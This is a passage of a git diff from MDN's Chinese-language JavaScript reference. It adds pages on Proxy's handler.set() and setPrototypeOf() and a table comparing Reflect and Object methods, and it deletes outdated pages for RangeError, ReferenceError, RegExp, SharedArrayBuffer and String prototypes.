比如:假设有一段代码执行 obj.name = "jen"obj 不是一个 proxy,且自身不含 name 属性,但是它的原型链上有一个 proxy,那么,那个 proxy 的 set() 处理器会被调用,而此时,obj 会作为 receiver 参数传进来。

+
+
+
+ +

返回值

+ +

set() 方法应当返回一个布尔值。

+ +
    +
  • 返回 true 代表属性设置成功。
  • +
  • 在严格模式下,如果 set() 方法返回 false,那么会抛出一个 {{jsxref("TypeError")}} 异常。
  • +
+ +

描述

+ +

handler.set() 方法用于拦截设置属性值的操作。

+ +

拦截

+ +

该方法会拦截目标对象的以下操作:

+ +
    +
  • 指定属性值:proxy[foo] = barproxy.foo = bar
  • +
  • 指定继承者的属性值:Object.create(proxy)[foo] = bar
  • +
  • {{jsxref("Reflect.set()")}}
  • +
+ +

约束

+ +

如果违背以下的约束条件,proxy 会抛出一个 {{jsxref("TypeError")}} 异常:

+ +
    +
  • 若目标属性是一个不可写及不可配置的数据属性,则不能改变它的值。
  • +
  • 如果目标属性没有配置存储方法,即 [[Set]] 属性的是 undefined,则不能设置它的值。
  • +
  • 在严格模式下,如果 set() 方法返回 false,那么也会抛出一个 {{jsxref("TypeError")}} 异常。
  • +
+ +

示例

+ +

以下代码演示如何捕获属性的设置操作。

+ +
var p = new Proxy({}, {
+  set: function(target, prop, value, receiver) {
+    target[prop] = value;
+    console.log('property set: ' + prop + ' = ' + value);
+    return true;
+  }
+})
+
+console.log('a' in p);  // false
+
+p.a = 10;               // "property set: a = 10"
+console.log('a' in p);  // true
+console.log(p.a);       // 10
+ +

规范

+ + + + + + + + + + + + +
规范
{{SpecName('ESDraft', '#sec-proxy-object-internal-methods-and-internal-slots-set-p-v-receiver', '[[Set]]')}}
+ +

浏览器兼容性

+ + + +

{{Compat("javascript.builtins.Proxy.handler.set")}}

+ +

另见

+ +
    +
  • {{jsxref("Proxy")}}
  • +
  • {{jsxref("Proxy.handler", "handler")}}
  • +
  • {{jsxref("Reflect.set()")}}
  • +
diff --git a/files/zh-cn/web/javascript/reference/global_objects/proxy/proxy/setprototypeof/index.html b/files/zh-cn/web/javascript/reference/global_objects/proxy/proxy/setprototypeof/index.html new file mode 100644 index 0000000000..9d88cd2593 --- /dev/null +++ b/files/zh-cn/web/javascript/reference/global_objects/proxy/proxy/setprototypeof/index.html @@ -0,0 +1,124 @@ +--- +title: handler.setPrototypeOf() +slug: Web/JavaScript/Reference/Global_Objects/Proxy/handler/setPrototypeOf +translation_of: Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/setPrototypeOf +--- +
{{JSRef}}
+ +

handler.setPrototypeOf() 方法主要用来拦截 {{jsxref("Object.setPrototypeOf()")}}.

+ +

语法

+ +
var p = new Proxy(target, {
+  setPrototypeOf: function(target, prototype) {
+  }
+});
+
+ +

参数

+ +

以下参数传递给 setPrototypeOf 方法. 

+ +
+
target
+
被拦截目标对象.
+
prototype
+
对象新原型或为null.
+
+ +

返回值

+ +

如果成功修改了[[Prototype]]setPrototypeOf 方法返回 true,否则返回 false.

+ +

描述

+ +

这个 handler.setPrototypeOf 方法用于拦截 {{jsxref("Object.setPrototypeOf()")}}.

+ +

拦截

+ +

这个方法可以拦截以下操作:

+ +
    +
  • {{jsxref("Object.setPrototypeOf()")}}
  • +
  • {{jsxref("Reflect.setPrototypeOf()")}}
  • +
+ +

Invariants

+ +

如果违反了下列规则,则proxy将抛出一个{{jsxref("TypeError")}}:

+ +
    +
  • 如果 target 不可扩展, 原型参数必须与Object.getPrototypeOf(target) 的值相同.
  • +
+ +

示例

+ +

如果你不想为你的对象设置一个新的原型,你的handler's的setPrototypeOf方法可以返回false,也可以抛出异常。

+ +

The former approach means that any operation that performs such mutation, that throws an exception on failure to mutate, will have to create the exception itself.  For example, {{jsxref("Object.setPrototypeOf()")}} will create and throw a TypeError itself.  If the mutation is performed by an operation that doesn't ordinarily throw in case of failure, such as {{jsxref("Reflect.setPrototypeOf()")}}, no exception will be thrown.

+ +
var handlerReturnsFalse = {
+    setPrototypeOf(target, newProto) {
+        return false;
+    }
+};
+
+var newProto = {}, target = {};
+
+var p1 = new Proxy(target, handlerReturnsFalse);
+Object.setPrototypeOf(p1, newProto); // throws a TypeError
+Reflect.setPrototypeOf(p1, newProto); // returns false
+
+ +

The latter approach will cause any operation that attempts to mutate, to throw.  This approach is required if you want even non-throwing operations to throw on failure, or you want to throw a custom exception value.

+ +
var handlerThrows = {
+    setPrototypeOf(target, newProto) {
+        throw new Error('custom error');
+    }
+};
+
+var newProto = {}, target = {};
+
+var p2 = new Proxy(target, handlerThrows);
+Object.setPrototypeOf(p2, newProto); // throws new Error("custom error")
+Reflect.setPrototypeOf(p2, newProto); // throws new Error("custom error")
+ +

Specifications

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('ES2015', '#sec-proxy-object-internal-methods-and-internal-slots-setprototypeof-v', '[[SetPrototypeOf]]')}}{{Spec2('ES2015')}}Initial definition.
{{SpecName('ESDraft', '#sec-proxy-object-internal-methods-and-internal-slots-setprototypeof-v', '[[SetPrototypeOf]]')}}{{Spec2('ESDraft')}} 
+ +

Browser compatibility

+ +
+ + +

{{Compat("javascript.builtins.Proxy.handler.setPrototypeOf")}}

+
+ +

See also

+ +
    +
  • {{jsxref("Proxy")}}
  • +
  • {{jsxref("Proxy.handler", "handler")}}
  • +
  • {{jsxref("Object.setPrototypeOf()")}}
  • +
  • {{jsxref("Reflect.setPrototypeOf()")}}
  • +
diff --git a/files/zh-cn/web/javascript/reference/global_objects/rangeerror/prototype/index.html b/files/zh-cn/web/javascript/reference/global_objects/rangeerror/prototype/index.html deleted file mode 100644 index 0e2c78aedf..0000000000 --- a/files/zh-cn/web/javascript/reference/global_objects/rangeerror/prototype/index.html +++ /dev/null @@ -1,89 +0,0 @@ ---- -title: RangeError.prototype -slug: Web/JavaScript/Reference/Global_Objects/RangeError/prototype -translation_of: Web/JavaScript/Reference/Global_Objects/RangeError -translation_of_original: Web/JavaScript/Reference/Global_Objects/RangeError/prototype ---- -
{{JSRef}}
- -
 
- -
RangeError.prototype 属性表示 {{jsxref("RangeError")}} 构造函数的原型。
- -
 
- -
{{js_property_attributes(0, 0, 0)}}
- -

描述

- -

所有  {{jsxref("RangeError")}} 的实例都继承自 RangeError.prototype ,所以你可以使用这个属性来为所有的实例添加属性或方法。

- -

属性

- -
-
RangeError.prototype.constructor
-
指定了创建实例原型的函数
-
{{jsxref("Error.prototype.message", "RangeError.prototype.message")}}
-
错误信息。尽管 ECMA-262 规定了 {{jsxref("RangeError")}} 应该拥有一个 message 属性,但在 SpiderMonkey 中,该属性继承自 {{jsxref("Error.prototype.message")}}。
-
{{jsxref("Error.prototype.name", "RangeError.prototype.name")}}
-
错误名字,继承自 {{jsxref("Error")}}。
-
{{jsxref("Error.prototype.fileName", "RangeError.prototype.fileName")}}
-
引起该错误的文件路径,继承自 {{jsxref("Error")}}。
-
{{jsxref("Error.prototype.lineNumber", "RangeError.prototype.lineNumber")}}
-
引起该错误的行号,继承自 {{jsxref("Error")}}。
-
{{jsxref("Error.prototype.columnNumber", "RangeError.prototype.columnNumber")}}
-
引起该错误的列号,继承自 {{jsxref("Error")}}。
-
{{jsxref("Error.prototype.stack", "RangeError.prototype.stack")}}
-
堆栈跟踪记录,继承自 {{jsxref("Error")}}。
-
- -

方法

- -

尽管 {{jsxref("RangeError")}} 原型对象自身没有包含任何方法,但是 {{jsxref("RangeError")}} 实例却通过原型链继承到了一些方法。

- -

Specifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('ES3')}}{{Spec2('ES3')}}Initial definition.
{{SpecName('ES5.1', '#sec-15.11.7.6', 'NativeError.prototype')}}{{Spec2('ES5.1')}}Defined as NativeError.prototype.
{{SpecName('ES6', '#sec-nativeerror.prototype', 'NativeError.prototype')}}{{Spec2('ES6')}}Defined as NativeError.prototype.
{{SpecName('ESDraft', '#sec-nativeerror.prototype', 'NativeError.prototype')}}{{Spec2('ESDraft')}}Defined as NativeError.prototype.
- -

Browser compatibility

- -
- - -

{{Compat("javascript.builtins.RangeError")}}

-
- -

See also

- -
    -
  • {{jsxref("Error.prototype")}}
  • -
  • {{jsxref("Function.prototype")}}
  • -
diff --git a/files/zh-cn/web/javascript/reference/global_objects/referenceerror/prototype/index.html b/files/zh-cn/web/javascript/reference/global_objects/referenceerror/prototype/index.html deleted file mode 100644 index 4cb00496ef..0000000000 --- a/files/zh-cn/web/javascript/reference/global_objects/referenceerror/prototype/index.html +++ /dev/null @@ -1,93 +0,0 @@ ---- -title: ReferenceError.prototype -slug: Web/JavaScript/Reference/Global_Objects/ReferenceError/prototype -tags: - - Error - - JavaScript - - Property - - Prototype - - ReferenceError -translation_of: Web/JavaScript/Reference/Global_Objects/ReferenceError -translation_of_original: Web/JavaScript/Reference/Global_Objects/ReferenceError/prototype ---- -
{{JSRef}}
- -

ReferenceError.prototype 表示 {{jsxref("ReferenceError")}} 的原型构造器。

- -
{{js_property_attributes(0, 0, 0)}}
- -

描述

- -

所有{{jsxref("ReferenceError")}} 实例都继承自 ReferenceError.prototype. 你可以使用原型来为所有实例添加属性和方法。

- -

属性

- -
-
ReferenceError.prototype.constructor
-
创建一个实例原型的函数。
-
{{jsxref("Error.prototype.message", "ReferenceError.prototype.message")}}
-
错误信息。尽管ECMA-262 曾表示 {{jsxref("ReferenceError")}} 应该提供自己的 message 属性, 在 SpiderMonkey 中, 它继承自{{jsxref("Error.prototype.message")}}.
-
{{jsxref("Error.prototype.name", "ReferenceError.prototype.name")}}
-
错误名称. 继承自{{jsxref("Error")}}.
-
{{jsxref("Error.prototype.fileName", "ReferenceError.prototype.fileName")}}
-
出现这个错误的路径. 继承自 {{jsxref("Error")}}.
-
{{jsxref("Error.prototype.lineNumber", "ReferenceError.prototype.lineNumber")}}
-
出现这个错误的行号. 继承自 {{jsxref("Error")}}.
-
{{jsxref("Error.prototype.columnNumber", "ReferenceError.prototype.columnNumber")}}
-
出现这个错误的列号. 继承自 {{jsxref("Error")}}.
-
{{jsxref("Error.prototype.stack", "ReferenceError.prototype.stack")}}
-
堆栈追踪. 继承自 {{jsxref("Error")}}.
-
- -

方法

- -

尽管 {{jsxref("ReferenceError")}} 原型对象自身没有包括任何方法, {{jsxref("ReferenceError")}} 实例确实从原型链中继承了一些方法。

- -

规格

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
规格版本状态注释
{{SpecName('ES3')}}{{Spec2('ES3')}}初始定义
{{SpecName('ES5.1', '#sec-15.11.7.6', 'NativeError.prototype')}}{{Spec2('ES5.1')}} -

Defined as NativeError.prototype.

-
{{SpecName('ES6', '#sec-nativeerror.prototype', 'NativeError.prototype')}}{{Spec2('ES6')}}Defined as NativeError.prototype.
{{SpecName('ESDraft', '#sec-nativeerror.prototype', 'NativeError.prototype')}}{{Spec2('ESDraft')}}Defined as NativeError.prototype.
- -

浏览器兼容性

- -
- - -

{{Compat("javascript.builtins.ReferenceError")}}

-
- -

参见

- -
    -
  • {{jsxref("Error.prototype")}}
  • -
  • {{jsxref("Function.prototype")}}
  • -
diff --git a/files/zh-cn/web/javascript/reference/global_objects/reflect/comparing_reflect_and_object_methods/index.html b/files/zh-cn/web/javascript/reference/global_objects/reflect/comparing_reflect_and_object_methods/index.html new file mode 100644 index 0000000000..43023eae7f --- /dev/null +++ b/files/zh-cn/web/javascript/reference/global_objects/reflect/comparing_reflect_and_object_methods/index.html @@ -0,0 +1,134 @@ +--- +title: 比较 Reflect 和 Object 方法 +slug: Web/JavaScript/Reference/Global_Objects/Reflect/比较_Reflect_和_Object_方法 +tags: + - Guide + - JavaScript + - Object + - Overview + - Reflect +translation_of: >- + Web/JavaScript/Reference/Global_Objects/Reflect/Comparing_Reflect_and_Object_methods +--- +
{{jssidebar}}
+ +

ES2015中引入的 {{jsxref("Reflect")}} 对象是一个内置对象,提供了与JavaScript对象交互的方法。Reflect 上存在的一些静态函数也对应于ES2015之前的{{jsxref("Object")}}上可用的方法。尽管某些方法在行为上看似相似,但它们之间常常存在细微的差异。

+ +

下表详细介绍了Object 和 Reflect API上可用方法之间的差异。请注意,如果API中不存在某种方法,则将其标记为N/A。

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Method NameObjectReflect
defineProperty() +

{{jsxref("Object.defineProperty()")}} 返回传递给函数的对象。如果未在对象上成功定义属性,则返回TypeError

+
+

如果在对象上定义了属性,则{{jsxref("Reflect.defineProperty()")}}返回true,否则返回false

+
defineProperties() +

{{jsxref("Object.defineProperties()")}} 返回传递给函数的对象。如果未在对象上成功定义属性,则返回TypeError

+
N/A
set()N/A +

如果在对象上成功设置了属性,则{{jsxref("Reflect.set()")}}返回true,否则返回false。如果目标不是Object,则抛出TypeError

+
get()N/A +

{{jsxref("Reflect.get()")}}返回属性的值。如果目标不是Object,则抛出TypeError

+
deleteProperty()N/A +

如果属性从对象中删除,则{{jsxref("Reflect.deleteProperty()")}}返回true,否则返回false

+
getOwnPropertyDescriptor() +

如果传入的对象参数上存在{{jsxref("Object.getOwnPropertyDescriptor()")}} ,则会返回给定属性的属性描述符,如果不存在,则返回undefined

+
+

如果给定属性存在于对象上,则{{jsxref("Reflect.getOwnPropertyDescriptor()")}} 返回给定属性的属性描述符。如果不存在则返回undefined,如果传入除对象(原始值)以外的任何东西作为第一个参数,则返回TypeError

+
getOwnPropertyDescriptors() +

{{jsxref("Object.getOwnPropertyDescriptors()")}} 返回一个对象,其中包含每个传入对象的属性描述符。如果传入的对象没有拥有的属性描述符,则返回一个空对象。

+
N/A
getPrototypeOf() +

{{jsxref("Object.getPrototypeOf()")}}返回给定对象的原型。如果没有继承的原型,则返回null。在ES5中为非对象抛出TypeError,但在ES2015中强制为非对象。

+
+

{{jsxref("Reflect.getPrototypeOf()")}}返回给定对象的原型。如果没有继承的原型,则返回null,并为非对象抛出TypeError

+
setPrototypeOf() +

如果对象的原型设置成功,则{{jsxref("Object.setPrototypeOf()")}}返回对象本身。如果设置的原型不是Objectnull,或者被修改的对象的原型不可扩展,则抛出TypeError

+
+

如果在对象上成功设置了原型,则{{jsxref("Reflect.setPrototypeOf()")}} 返回true,否则返回false(包括原型是否不可扩展)。如果传入的目标不是Object,或者设置的原型不是Objectnull,则抛出TypeError

+
isExtensible() +

如果对象是可扩展的,则Object.isExtensible()返回true,否则返回false。如果第一个参数不是对象(原始值),则在ES5中抛出TypeError。在ES2015中,它将被强制为不可扩展的普通对象并返回false

+
+

如果对象是可扩展的,则{{jsxref("Reflect.isExtensible()")}} 返回true,否则返回false。如果第一个参数不是对象(原始值),则抛出TypeError

+
preventExtensions() +

{{jsxref("Object.preventExtensions()")}} 返回被设为不可扩展的对象。如果参数不是对象(原始值),则在ES5中抛出TypeError。在ES2015中,参数如为不可扩展的普通对象,然后返回对象本身。

+
+

returns true if the object has been made non-extensible, and false if it has not. Throws a TypeError if the argument is not an object (a primitive).

+ +

如果对象已变得不可扩展,则{{jsxref("Reflect.preventExtensions()")}} 返回true,否则返回false。如果参数不是对象(原始值),则抛出TypeError

+
keys() +

{{jsxref("Object.keys()")}}返回一个字符串数组,该字符串映射到目标对象自己的(可枚举)属性键。如果目标不是对象,则在ES5中抛出TypeError,但将非对象目标强制为ES2015中的对象

+
N/A
ownKeys()N/A +

{{jsxref("Reflect.ownKeys()")}}返回一个属性名称数组,该属性名称映射到目标对象自己的属性键。如果目标不是Object,则抛出TypeError

+
diff --git "a/files/zh-cn/web/javascript/reference/global_objects/reflect/\346\257\224\350\276\203_reflect_\345\222\214_object_\346\226\271\346\263\225/index.html" "b/files/zh-cn/web/javascript/reference/global_objects/reflect/\346\257\224\350\276\203_reflect_\345\222\214_object_\346\226\271\346\263\225/index.html" deleted file mode 100644 index 43023eae7f..0000000000 --- "a/files/zh-cn/web/javascript/reference/global_objects/reflect/\346\257\224\350\276\203_reflect_\345\222\214_object_\346\226\271\346\263\225/index.html" +++ /dev/null @@ -1,134 +0,0 @@ ---- -title: 比较 Reflect 和 Object 方法 -slug: Web/JavaScript/Reference/Global_Objects/Reflect/比较_Reflect_和_Object_方法 -tags: - - Guide - - JavaScript - - Object - - Overview - - Reflect -translation_of: >- - Web/JavaScript/Reference/Global_Objects/Reflect/Comparing_Reflect_and_Object_methods ---- -
{{jssidebar}}
- -

ES2015中引入的 {{jsxref("Reflect")}} 对象是一个内置对象,提供了与JavaScript对象交互的方法。Reflect 上存在的一些静态函数也对应于ES2015之前的{{jsxref("Object")}}上可用的方法。尽管某些方法在行为上看似相似,但它们之间常常存在细微的差异。

- -

下表详细介绍了Object 和 Reflect API上可用方法之间的差异。请注意,如果API中不存在某种方法,则将其标记为N/A。

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Method NameObjectReflect
defineProperty() -

{{jsxref("Object.defineProperty()")}} 返回传递给函数的对象。如果未在对象上成功定义属性,则返回TypeError

-
-

如果在对象上定义了属性,则{{jsxref("Reflect.defineProperty()")}}返回true,否则返回false

-
defineProperties() -

{{jsxref("Object.defineProperties()")}} 返回传递给函数的对象。如果未在对象上成功定义属性,则返回TypeError

-
N/A
set()N/A -

如果在对象上成功设置了属性,则{{jsxref("Reflect.set()")}}返回true,否则返回false。如果目标不是Object,则抛出TypeError

-
get()N/A -

{{jsxref("Reflect.get()")}}返回属性的值。如果目标不是Object,则抛出TypeError

-
deleteProperty()N/A -

如果属性从对象中删除,则{{jsxref("Reflect.deleteProperty()")}}返回true,否则返回false

-
getOwnPropertyDescriptor() -

如果传入的对象参数上存在{{jsxref("Object.getOwnPropertyDescriptor()")}} ,则会返回给定属性的属性描述符,如果不存在,则返回undefined

-
-

如果给定属性存在于对象上,则{{jsxref("Reflect.getOwnPropertyDescriptor()")}} 返回给定属性的属性描述符。如果不存在则返回undefined,如果传入除对象(原始值)以外的任何东西作为第一个参数,则返回TypeError

-
getOwnPropertyDescriptors() -

{{jsxref("Object.getOwnPropertyDescriptors()")}} 返回一个对象,其中包含每个传入对象的属性描述符。如果传入的对象没有拥有的属性描述符,则返回一个空对象。

-
N/A
getPrototypeOf() -

{{jsxref("Object.getPrototypeOf()")}}返回给定对象的原型。如果没有继承的原型,则返回null。在ES5中为非对象抛出TypeError,但在ES2015中强制为非对象。

-
-

{{jsxref("Reflect.getPrototypeOf()")}}返回给定对象的原型。如果没有继承的原型,则返回null,并为非对象抛出TypeError

-
setPrototypeOf() -

如果对象的原型设置成功,则{{jsxref("Object.setPrototypeOf()")}}返回对象本身。如果设置的原型不是Objectnull,或者被修改的对象的原型不可扩展,则抛出TypeError

-
-

如果在对象上成功设置了原型,则{{jsxref("Reflect.setPrototypeOf()")}} 返回true,否则返回false(包括原型是否不可扩展)。如果传入的目标不是Object,或者设置的原型不是Objectnull,则抛出TypeError

-
isExtensible() -

如果对象是可扩展的,则Object.isExtensible()返回true,否则返回false。如果第一个参数不是对象(原始值),则在ES5中抛出TypeError。在ES2015中,它将被强制为不可扩展的普通对象并返回false

-
-

如果对象是可扩展的,则{{jsxref("Reflect.isExtensible()")}} 返回true,否则返回false。如果第一个参数不是对象(原始值),则抛出TypeError

-
preventExtensions() -

{{jsxref("Object.preventExtensions()")}} 返回被设为不可扩展的对象。如果参数不是对象(原始值),则在ES5中抛出TypeError。在ES2015中,参数如为不可扩展的普通对象,然后返回对象本身。

-
-

returns true if the object has been made non-extensible, and false if it has not. Throws a TypeError if the argument is not an object (a primitive).

- -

如果对象已变得不可扩展,则{{jsxref("Reflect.preventExtensions()")}} 返回true,否则返回false。如果参数不是对象(原始值),则抛出TypeError

-
keys() -

{{jsxref("Object.keys()")}}返回一个字符串数组,该字符串映射到目标对象自己的(可枚举)属性键。如果目标不是对象,则在ES5中抛出TypeError,但将非对象目标强制为ES2015中的对象

-
N/A
ownKeys()N/A -

{{jsxref("Reflect.ownKeys()")}}返回一个属性名称数组,该属性名称映射到目标对象自己的属性键。如果目标不是Object,则抛出TypeError

-
diff --git a/files/zh-cn/web/javascript/reference/global_objects/regexp/prototype/index.html b/files/zh-cn/web/javascript/reference/global_objects/regexp/prototype/index.html deleted file mode 100644 index 0c76cb77ac..0000000000 --- a/files/zh-cn/web/javascript/reference/global_objects/regexp/prototype/index.html +++ /dev/null @@ -1,153 +0,0 @@ ---- -title: RegExp.prototype -slug: Web/JavaScript/Reference/Global_Objects/RegExp/prototype -tags: - - JavaScript - - Property - - RegExp -translation_of: Web/JavaScript/Reference/Global_Objects/RegExp -translation_of_original: Web/JavaScript/Reference/Global_Objects/RegExp/prototype ---- -

{{JSRef("Global_Objects", "RegExp")}}

-

概述

-

RegExp.prototype 属性表示 {{jsxref("Global_Objects/RegExp", "RegExp")}} 构造函数的原型对象。

-

描述

-

查看 {{jsxref("Global_Objects/RegExp", "RegExp")}} 了解更多关于 RegExp 实例的说明。

-

RegExp 实例继承 RegExp.prototype。修改该原型对象上的属性或方法会影响到所有的 RegExp 实例。

-

属性

-

查看已废弃的RegExp属性

-

注意,RegExp 对象的几个属性既有完整的长属性名,也有对应的类 Perl 的短属性名。两个属性都有着同样的值。JavaScript 的正则语法就是基于 Perl 的。

-
-
- RegExp.prototype.constructor
-
- 创建该正则对象的构造函数。
-
- {{jsxref("RegExp.prototype.global")}}
-
- 是否开启全局匹配,也就是匹配目标字符串中所有可能的匹配项,而不是只进行第一次匹配。
-
- {{jsxref("RegExp.prototype.ignoreCase")}}
-
- 在匹配字符串时是否要忽略字符的大小写。
-
- {{jsxref("RegExp.prototype.lastIndex")}}
-
- 下次匹配开始的字符串索引位置。
-
- {{jsxref("RegExp.prototype.multiline")}}
-
- 是否开启多行模式匹配(影响 ^ 和 $ 的行为)。
-
- {{jsxref("RegExp.prototype.source")}}
-
- 正则对象的源模式文本。
-
- {{jsxref("RegExp.prototype.sticky")}} {{experimental_inline}}
-
- 是否开启粘滞匹配。
-
-
- {{ jsOverrides("Object", "properties", "constructor", "global", "ignoreCase", "lastIndex", "multiline", "source", "sticky") }}
-

方法

-

查看已废弃的RegExp方法

-
-
- {{jsxref("RegExp.prototype.exec()")}}
-
- 在目标字符串中执行一次正则匹配操作。
-
- {{jsxref("RegExp.prototype.test()")}}
-
- 测试当前正则是否能匹配目标字符串。
-
- {{jsxref("RegExp.prototype.toSource()")}} {{non-standard_inline}}
-
- 返回一个字符串,其值为该正则对象的字面量形式。覆盖了Object.prototype.toSource 方法.
-
- {{jsxref("RegExp.prototype.toString()")}}
-
- 返回一个字符串,其值为该正则对象的字面量形式。覆盖了{{jsxref("Object.prototype.toString()")}} 方法。
-
-
- {{ jsOverrides("Object", "Methods", "exec", "test", "toSource", "toString") }}
-

规范

- - - - - - - - - - - - - - - - - - - - - - - -
SpecificationStatusComment
ECMAScript 1st Edition. Implemented in JavaScript 1.1StandardInitial definition.
{{SpecName('ES5.1', '#sec-15.10.5.1', 'RegExp')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-regexp.prototype', 'RegExp.prototype')}}{{Spec2('ES6')}} 
-

浏览器兼容性

-

{{ CompatibilityTable() }}

-
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}
-
-
- - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}
-
-

相关链接

- -

 

diff --git a/files/zh-cn/web/javascript/reference/global_objects/sharedarraybuffer/prototype/index.html b/files/zh-cn/web/javascript/reference/global_objects/sharedarraybuffer/prototype/index.html deleted file mode 100644 index ccb6f2df65..0000000000 --- a/files/zh-cn/web/javascript/reference/global_objects/sharedarraybuffer/prototype/index.html +++ /dev/null @@ -1,63 +0,0 @@ ---- -title: SharedArrayBuffer.prototype -slug: Web/JavaScript/Reference/Global_Objects/SharedArrayBuffer/prototype -tags: - - Prototype - - SharedArrayBuffer -translation_of: Web/JavaScript/Reference/Global_Objects/SharedArrayBuffer -translation_of_original: Web/JavaScript/Reference/Global_Objects/SharedArrayBuffer/prototype ---- -
{{JSRef}}
- -

SharedArrayBuffer.prototype  属性表示 {{jsxref("SharedArrayBuffer")}}  对象的原型。

- -
{{js_property_attributes(0,0,0)}}
- -

描述

- -

SharedArrayBuffer实例继承自SharedArrayBuffer.prototype。 与所有构造函数一样,您可以更改构造函数的原型对象以对所有SharedArrayBuffer实例进行更改。

- -

属性

- -
-
SharedArrayBuffer.prototype.constructor
-
指定创建对象原型的函数。 初始值为标准的内置SharedArrayBuffer构造函数。
-
{{jsxref("SharedArrayBuffer.prototype.byteLength")}} {{readonlyInline}}
-
数组的大小(以字节为单位)。 这是在数组初始化时建立的,并且无法被更改。 只读
-
- -

方法

- -
-
{{jsxref("SharedArrayBuffer.slice", "SharedArrayBuffer.prototype.slice(begin, end)")}}
-
返回一个新的SharedArrayBuffer,其内容是此SharedArrayBuffer字节从beigin开始(包括begin)到end结束(不包括end)的副本。 如果beginend为负,则它是指数组末尾的索引,而不是开头的索引。
-
- -

规范

- - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('ESDraft', '#sec-sharedarraybuffer.prototype', 'SharedArrayBuffer.prototype')}}{{Spec2('ESDraft')}}Initial definition in ES2017.
- -

浏览器兼容性

- - - -

{{Compat("javascript.builtins.SharedArrayBuffer.prototype")}}

- -

相关链接

- -
    -
  • {{jsxref("SharedArrayBuffer")}}
  • -
diff --git a/files/zh-cn/web/javascript/reference/global_objects/string/prototype/index.html b/files/zh-cn/web/javascript/reference/global_objects/string/prototype/index.html deleted file mode 100644 index 00a9695a64..0000000000 --- a/files/zh-cn/web/javascript/reference/global_objects/string/prototype/index.html +++ /dev/null @@ -1,187 +0,0 @@ ---- -title: String.prototype -slug: Web/JavaScript/Reference/Global_Objects/String/prototype -tags: - - JavaScript - - 原型 - - 参考 - - 字符串 - - 属性 -translation_of: Web/JavaScript/Reference/Global_Objects/String -translation_of_original: Web/JavaScript/Reference/Global_Objects/String/prototype ---- -
{{JSRef}}
- -

 String.prototype 属性表示 {{jsxref("String")}}原型对象。

- -
{{js_property_attributes(0,0,0)}}
- -

描述

- -

所有 {{jsxref("String")}} 的实例都继承自 String.prototype. 任何String.prototype上的改变都会影响到所有的 {{jsxref("String")}} 实例。

- -

属性

- -
-
String.prototype.constructor
-
用于创造对象的原型对象的特定的函数。
-
{{jsxref("String.prototype.length")}}
-
返回了字符串的长度。
-
N
-
用于访问第N个位置的字符,其中N是小于 {{jsxref("String.length", "length")}} 和 0之间的正整数。这些属性都是“只读”性质,不能编辑。
-
- -

方法

- -

跟HTML无关的方法

- -
-
{{jsxref("String.prototype.charAt()")}}
-
返回特定位置的字符。
-
{{jsxref("String.prototype.charCodeAt()")}}
-
返回表示给定索引的字符的Unicode的值。
-
{{jsxref("String.prototype.codePointAt()")}}
-
返回使用UTF-16编码的给定位置的值的非负整数。
-
{{jsxref("String.prototype.concat()")}}
-
连接两个字符串文本,并返回一个新的字符串。
-
{{jsxref("String.prototype.includes()")}}
-
判断一个字符串里是否包含其他字符串。
-
{{jsxref("String.prototype.endsWith()")}}
-
判断一个字符串的是否以给定字符串结尾,结果返回布尔值。
-
{{jsxref("String.prototype.indexOf()")}}
-
从字符串对象中返回首个被发现的给定值的索引值,如果没有找到则返回-1。
-
{{jsxref("String.prototype.lastIndexOf()")}}
-
从字符串对象中返回最后一个被发现的给定值的索引值,如果没有找到则返回-1。
-
{{jsxref("String.prototype.localeCompare()")}}
-
返回一个数字表示是否引用字符串在排序中位于比较字符串的前面,后面,或者二者相同。
-
{{jsxref("String.prototype.match()")}}
-
使用正则表达式与字符串相比较。
-
{{jsxref("String.prototype.normalize()")}}
-
返回调用字符串值的Unicode标准化形式。
-
{{jsxref("String.prototype.padEnd()")}}
-
在当前字符串尾部填充指定的字符串, 直到达到指定的长度。 返回一个新的字符串。
-
{{jsxref("String.prototype.padStart()")}}
-
-

在当前字符串头部填充指定的字符串, 直到达到指定的长度。 返回一个新的字符串。

-
-
{{jsxref("String.prototype.quote()")}} {{ obsolete_inline }}
-
设置嵌入引用的引号类型。
-
{{jsxref("String.prototype.repeat()")}}
-
返回指定重复次数的由元素组成的字符串对象。
-
{{jsxref("String.prototype.replace()")}}
-
被用来在正则表达式和字符串直接比较,然后用新的子串来替换被匹配的子串。
-
{{jsxref("String.prototype.search()")}}
-
对正则表达式和指定字符串进行匹配搜索,返回第一个出现的匹配项的下标。
-
{{jsxref("String.prototype.slice()")}}
-
摘取一个字符串区域,返回一个新的字符串。
-
{{jsxref("String.prototype.split()")}}
-
通过分离字符串成字串,将字符串对象分割成字符串数组。
-
{{jsxref("String.prototype.startsWith()")}}
-
判断字符串的起始位置是否匹配其他字符串中的字符。
-
{{jsxref("String.prototype.substr()")}}
-
通过指定字符数返回在指定位置开始的字符串中的字符。
-
{{jsxref("String.prototype.substring()")}}
-
返回在字符串中指定两个下标之间的字符。
-
{{jsxref("String.prototype.toLocaleLowerCase()")}}
-
根据当前区域设置,将符串中的字符转换成小写。对于大多数语言来说,{{jsxref("String.toLowerCase", "toLowerCase")}}的返回值是一致的。
-
{{jsxref("String.prototype.toLocaleUpperCase()")}}
-
